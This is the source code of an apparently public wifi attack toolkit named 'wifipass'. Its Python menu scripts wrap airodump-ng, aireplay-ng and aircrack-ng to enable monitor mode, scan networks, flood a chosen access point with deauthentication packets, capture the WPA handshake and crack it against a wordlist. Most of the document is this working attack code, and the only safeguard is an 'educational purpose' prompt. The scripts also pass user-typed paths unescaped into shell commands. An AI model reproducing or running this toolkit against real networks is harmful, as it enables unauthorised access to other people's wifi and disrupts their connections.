├── setmac.sh ├── install.sh ├── __pycache__ ├── main.cpython-310.pyc ├── monitor.cpython-310.pyc ├── terms.cpython-310.pyc ├── crackpass.cpython-310.pyc ├── handshake.cpython-310.pyc ├── interface.cpython-310.pyc ├── nomonitor.cpython-310.pyc └── viewnetworks.cpython-310.pyc ├── setchannel.sh ├── wifipass ├── script.sh ├── README.md ├── crackpass.py ├── viewnetworks.py ├── monitor.py ├── nomonitor.py ├── interface.py ├── main.py └── handshake.py /setmac.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sed -n $1'p'< /tmp/wifiaddresslist|cut -d ' ' -f 2 3 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | sudo apt update 2 | sudo pip3 install psutil 3 | sudo apt install xterm 4 | -------------------------------------------------------------------------------- /__pycache__/main.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bhanugoudm041/wifipass/HEAD/__pycache__/main.cpython-310.pyc -------------------------------------------------------------------------------- /__pycache__/monitor.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bhanugoudm041/wifipass/HEAD/__pycache__/monitor.cpython-310.pyc -------------------------------------------------------------------------------- /__pycache__/terms.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bhanugoudm041/wifipass/HEAD/__pycache__/terms.cpython-310.pyc -------------------------------------------------------------------------------- /__pycache__/crackpass.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bhanugoudm041/wifipass/HEAD/__pycache__/crackpass.cpython-310.pyc -------------------------------------------------------------------------------- /__pycache__/handshake.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bhanugoudm041/wifipass/HEAD/__pycache__/handshake.cpython-310.pyc -------------------------------------------------------------------------------- /__pycache__/interface.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bhanugoudm041/wifipass/HEAD/__pycache__/interface.cpython-310.pyc -------------------------------------------------------------------------------- /__pycache__/nomonitor.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bhanugoudm041/wifipass/HEAD/__pycache__/nomonitor.cpython-310.pyc -------------------------------------------------------------------------------- /__pycache__/viewnetworks.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bhanugoudm041/wifipass/HEAD/__pycache__/viewnetworks.cpython-310.pyc -------------------------------------------------------------------------------- /setchannel.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sed -n $1'p'< /tmp/wifiaddresslist|cut -d ' ' -f 3 3 | sudo rm -rf /tmp/wifiaddresslist 4 | sudo rm -rf /tmp/wifitemp* 5 | -------------------------------------------------------------------------------- /wifipass: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | get_id=$(id -u) 4 | if [[ $get_id == 0 ]] 5 | then 6 | echo "I use it for Educational Purpose (y/Y/yes/YES)";read terms_choosed 7 | if [[ $terms_choosed == "y" || $terms_choosed == "Y" || $terms_choosed == "yes" || $terms_choosed == "YES" ]] 8 | then 9 | python3 main.py 10 | else 11 | echo "Bye...!If you want to use the program please accept terms & conditions" 12 | fi 13 | else 14 | echo "Please run the script as Root or SUDO.......!!Bye" 15 | fi 16 | -------------------------------------------------------------------------------- /script.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | for i in $(cat /tmp/wifitemp-01.kismet.csv|head -n 12|awk -F ',' '{print $1}'|sed -r 's/\s+//g'|grep -n -v ESSID) 4 | do 5 | name=$(echo $i|awk -F ';' '{print $3}') 6 | mac=$(echo $i|awk -F ';' '{print $4}') 7 | channel=$(echo $i|awk -F ';' '{print $6}') 8 | 9 | echo "Name:" $name "**" "Mac:" $mac "**" "Channel:" $channel >> wifiaddresslist 10 | echo $name $mac $channel >> /tmp/wifiaddresslist 11 | done 12 | cat wifiaddresslist|nl -s '.' 13 | rm -rf wifiaddresslist 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # wifipass 2 | 3 | A small wifi penetration testing tool-kit 4 | 5 | #Clone the repository using below command 6 | #1. git clone https://github.com/bhanugoudm041/wifipass.git 7 | 8 | #Change the directory to wifipass using below command 9 | #2. cd wifipass 10 | 11 | #Installation 12 | #3. run install.sh script; 13 | chmod +x install.sh; 14 | sudo ./install.sh 15 | 16 | #Usage 17 | #4. sudo ./wifipass 18 | 19 | #NOTE: Run this tool with sudo privileges 20 | #USE IT FOR EDUCATIONAL PURPOSE ONLY.... 21 | #HAPPY HACKING 22 | -------------------------------------------------------------------------------- /crackpass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import subprocess 4 | import main 5 | 6 | def crackpass(): 7 | while True: 8 | subprocess.run(["clear"]) 9 | print("1.Crackhash") 10 | print("2.Exit") 11 | print("(3 or 0)"+"."+"Mainmenu") 12 | try: 13 | option_choosed=int(input("Choose the Attack: ")) 14 | if option_choosed==1: 15 | hashfile=input("Enter the full path to cap file with Extension(start from / ): ") 16 | wordlist=input("Entet the full path to wordlist file(start from / ) : ") 17 | def run_commnd(hashfile,wordlist): 18 | subprocess.run(["xterm","-e","sudo aircrack-ng -w "+wordlist+" "+hashfile+" ;sleep 20s"]) 19 | subprocess.run(["clear"]) 20 | run_commnd(hashfile,wordlist) 21 | elif option_choosed==2: 22 | subprocess.run(["clear"]) 23 | exit() 24 | else: 25 | subprocess.run(["clear"]) 26 | main.main() 27 | except ValueError: 28 | print("Please Enter a Number from above list") 29 | if __name__=="__main__": 30 | crackpass() 31 | 32 | 33 | -------------------------------------------------------------------------------- /viewnetworks.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import subprocess 4 | import psutil 5 | import main 6 | 7 | def viewnetworks(): 8 | while True: 9 | subprocess.run(["clear"]) 10 | intErface=list(psutil.net_if_stats().keys()) 11 | lenList=len(intErface) 12 | for serialNum in range(1,(lenList+1)): 13 | print(str(serialNum)+"."+intErface[serialNum-1]) 14 | print(str(lenList+1)+"."+"Exit") 15 | print("("+str(lenList+2)+" or 0)"+"."+"Mainmenu") 16 | try: 17 | inTerFacE=int(input("Choose the interface you want to view Networks from: ")) 18 | if inTerFacE <= lenList and inTerFacE != 0: 19 | inTERFACE=intErface[inTerFacE-1] 20 | def run_commnd(inTERFACE): 21 | subprocess.run(["xterm","-e","sudo airodump-ng "+ inTERFACE]) 22 | subprocess.run(["clear"]) 23 | run_commnd(inTERFACE) 24 | elif inTerFacE == lenList+1 and inTerFacE != 0: 25 | subprocess.run(["clear"]) 26 | exit() 27 | else: 28 | subprocess.run(["clear"]) 29 | main.main() 30 | except ValueError: 31 | print("Please Enter a Number from above list") 32 | if __name__=="__main__": 33 | viewnetworks() 34 | 35 | -------------------------------------------------------------------------------- /monitor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import subprocess 4 | import psutil 5 | import main 6 | 7 | def monitor(): 8 | while True: 9 | subprocess.run(["clear"]) 10 | intErface=list(psutil.net_if_stats().keys()) 11 | lenList=len(intErface) 12 | for serialNum in range(1,(lenList+1)): 13 | print(str(serialNum)+"."+intErface[serialNum-1]) 14 | print(str(lenList+1)+"."+"Exit") 15 | print("("+str(lenList+2)+" or 0)"+"."+"Mainmenu") 16 | try: 17 | inTerFacE=int(input("Choose the interface you want to enable monitormode: ")) 18 | if inTerFacE <= lenList and inTerFacE != 0: 19 | inTERFACE=intErface[inTerFacE-1] 20 | def run_commnd(inTERFACE): 21 | subprocess.run(["xterm","-e","sudo ip link set "+ inTERFACE +" down;sleep 2s;sudo iw "+ inTERFACE +" set type monitor;sleep 2s"]) 22 | subprocess.run(["clear"]) 23 | run_commnd(inTERFACE) 24 | elif inTerFacE == lenList+1 and inTerFacE != 0: 25 | subprocess.run(["clear"]) 26 | exit() 27 | else: 28 | subprocess.run(["clear"]) 29 | main.main() 30 | except ValueError: 31 | print("Please Enter a Number from above list") 32 | if __name__=="__main__": 33 | monitor() 34 | -------------------------------------------------------------------------------- /nomonitor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | 4 | import subprocess 5 | import psutil 6 | import main 7 | 8 | def nomonitor(): 9 | while True: 10 | subprocess.run(["clear"]) 11 | intErface=list(psutil.net_if_stats().keys()) 12 | lenList=len(intErface) 13 | for serialNum in range(1,(lenList+1)): 14 | print(str(serialNum)+"."+intErface[serialNum-1]) 15 | print(str(lenList+1)+"."+"Exit") 16 | print("("+str(lenList+2)+" or 0)"+"."+"Mainmenu") 17 | try: 18 | inTerFacE=int(input("Choose the interface you want to disable monitormode: ")) 19 | if inTerFacE <= lenList and inTerFacE != 0: 20 | inTERFACE=intErface[inTerFacE-1] 21 | def run_commnd(inTERFACE): 22 | subprocess.run(["xterm","-e","sudo ip link set "+ inTERFACE +" down;sleep 2s;sudo iw "+ inTERFACE +" set type managed;sudo ip link set "+ inTERFACE +" up;sudo service NetworkManager restart"]) 23 | subprocess.run(["clear"]) 24 | run_commnd(inTERFACE) 25 | elif inTerFacE == lenList+1 and inTerFacE != 0: 26 | subprocess.run(["clear"]) 27 | exit() 28 | else: 29 | subprocess.run(["clear"]) 30 | main.main() 31 | except ValueError: 32 | print("Please Enter a Number from above list") 33 | if __name__=="__main__": 34 | nomonitor() 35 | -------------------------------------------------------------------------------- /interface.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | 4 | import subprocess 5 | import psutil 6 | import main 7 | 8 | def interface(): 9 | while True: 10 | subprocess.run(["clear"]) 11 | intErface=list(psutil.net_if_stats().keys()) 12 | lenList=len(intErface) 13 | for serialNum in range(1,(lenList+1)): 14 | print(str(serialNum)+"."+intErface[serialNum-1]) 15 | print(str(lenList+1)+"."+"Exit") 16 | print("("+str(lenList+2)+" or 0)"+"."+"Mainmenu") 17 | try: 18 | inTerFacE=int(input("On which interface you want to add/remove mon: ")) 19 | if inTerFacE <= lenList and inTerFacE != 0: 20 | inTERFACE=intErface[inTerFacE-1] 21 | def run_commnd(inTERFACE): 22 | if inTERFACE[-3:] == "mon": 23 | subprocess.run(["xterm","-e","sudo ip link set "+ inTERFACE +" down;sleep 2s;sudo ip link set "+inTERFACE+" name "+inTERFACE[:-3]]) 24 | subprocess.run(["clear"]) 25 | else: 26 | subprocess.run(["xterm","-e","sudo ip link set "+ inTERFACE +" down;sleep 2s;sudo ip link set "+inTERFACE+" name "+inTERFACE+"mon"]) 27 | subprocess.run(["clear"]) 28 | run_commnd(inTERFACE) 29 | elif inTerFacE == lenList+1 and inTerFacE != 0: 30 | subprocess.run(["clear"]) 31 | exit() 32 | else: 33 | subprocess.run(["clear"]) 34 | main.main() 35 | except ValueError: 36 | print("Please Enter a Number from above list") 37 | if __name__=="__main__": 38 | interface() 39 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import monitor 3 | import nomonitor 4 | import viewnetworks 5 | import handshake 6 | import crackpass 7 | import subprocess 8 | import interface 9 | 10 | def main(): 11 | subprocess.run(["clear"]) 12 | print(""" 13 | __ __ _ __ _ ___ 14 | / / /\ \ (_)/ _(_) / _ \__ _ ___ ___ 15 | \ \/ \/ / | |_| |/ /_)/ _` / __/ __| 16 | \ /\ /| | _| / ___/ (_| \__ \__ "\" 17 | \/ \/ |_|_| |_\/ \__,_|___/___/ 18 | Developed by BhanuGoud 19 | Use it for educational purpose 20 | We are not responsible if you misuse this Tool 21 | """) 22 | print("We are not responsible if you miss use this tool") 23 | #terms_choosed = str(input("I use it for Educational Purpose (y/Y/yes/YES)")) 24 | #if terms_choosed=="y" or terms_choosed=="Y" or terms_choosed=="yes" or terms_choosed=="YES": 25 | while True: 26 | print("Welcome to the Wifi pentesting framework") 27 | print("1.Enable monitor mode") 28 | print("2.Disable monitor mode") 29 | print("3.View Networks") 30 | print("4.Capture Handshake") 31 | print("5.Crack Handshak") 32 | print("6.Want to add/remove mon to your interface(ex:wlan0mon or wlan0)") 33 | print("7.Exit") 34 | try: 35 | option_choosed = int(input("Choose the attack number: ")) 36 | if option_choosed==1 or option_choosed==2 or option_choosed==3 or option_choosed==4 or option_choosed==5 or option_choosed==6 or option_choosed==7: 37 | if option_choosed==1: 38 | monitor.monitor() 39 | elif option_choosed==2: 40 | nomonitor.nomonitor() 41 | elif option_choosed==3: 42 | viewnetworks.viewnetworks() 43 | elif option_choosed==4: 44 | handshake.handshake() 45 | elif option_choosed==5: 46 | crackpass.crackpass() 47 | elif option_choosed==6: 48 | interface.interface() 49 | else: 50 | exit() 51 | continue 52 | else: 53 | print("please choose a option b/w 1-7") 54 | continue 55 | except ValueError: 56 | print("please choose a option b/w 1-7") 57 | continue 58 | #else: 59 | #print("Bye...!If want to use the program please accept terms & conditions") 60 | if __name__=="__main__": 61 | main() 62 | -------------------------------------------------------------------------------- /handshake.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import subprocess 4 | import psutil 5 | import main 6 | import threading 7 | import time 8 | 9 | def handshake(): 10 | while True: 11 | subprocess.run(["clear"]) 12 | intErface=list(psutil.net_if_stats().keys()) 13 | lenList=len(intErface) 14 | for serialNum in range(1,(lenList+1)): 15 | print(str(serialNum)+"."+intErface[serialNum-1]) 16 | print(str(lenList+1)+"."+"Exit") 17 | print("("+str(lenList+2)+" or 0)"+"."+"Mainmenu") 18 | try: 19 | inTerFacE=int(input("Choose the interface you want to capture handshake from : ")) 20 | if inTerFacE <= lenList and inTerFacE != 0: 21 | inTERFACE=intErface[inTerFacE-1] 22 | def run_commnd(iTERFACE): 23 | def networkshow(iTERFACE): 24 | print("Press Control+C on xterm window once you identified your target networkname on the window") 25 | subprocess.run(["sudo","rm","-rf","/tmp/wifitemp*"]) 26 | subprocess.run(["xterm","-e","sudo airodump-ng -w /tmp/wifitemp "+iTERFACE]) 27 | subprocess.run(["sh","script.sh"]) 28 | networknum=input("Please Enter the network number: ") 29 | global packets 30 | packets=input("Enter the no.of deauthentication packets(any number from 20-50): ") 31 | bss=(subprocess.check_output(["sh","setmac.sh",networknum])).decode("utf-8") 32 | global bssid 33 | bssid=bss.strip() 34 | chnl=(subprocess.check_output(["sh","setchannel.sh",networknum])).decode("utf-8") 35 | global chanel 36 | chanel=chnl.strip() 37 | print("### Handshake will be stored in this folder with BSSID name" "###") 38 | def handshakel(bSSid,cHanel,iTERFACE): 39 | subprocess.run(["xterm","-e","mkdir "+bSSid+";cd "+bSSid+";sudo airodump-ng -d "+bSSid+ " -c "+cHanel+" -w "+bSSid+" "+iTERFACE]) 40 | time.sleep(10) 41 | def packetsent(bSSid,pacKets,iTERFACE): 42 | subprocess.run(["xterm","-e","sudo aireplay-ng -a "+bSSid+" --deauth "+pacKets+" "+iTERFACE]) 43 | time.sleep(10) 44 | networkshow(inTERFACE) 45 | firsT_thread=threading.Thread(target=handshakel,args=(bssid,chanel,inTERFACE)) 46 | seconD_thread=threading.Thread(target=packetsent,args=(bssid,packets,inTERFACE)) 47 | firsT_thread.start() 48 | print("Press Control+C if you found WPA-Handshake on xterm window") 49 | time.sleep(8) 50 | seconD_thread.start() 51 | subprocess.run(["clear"]) 52 | run_commnd(inTERFACE) 53 | elif inTerFacE == lenList+1 and inTerFacE != 0: 54 | subprocess.run(["clear"]) 55 | exit() 56 | else: 57 | subprocess.run(["clear"]) 58 | main.main() 59 | except ValueError: 60 | print("Please Enter a Number from above list") 61 | if __name__=="__main__": 62 | handshake() 63 | --------------------------------------------------------------------------------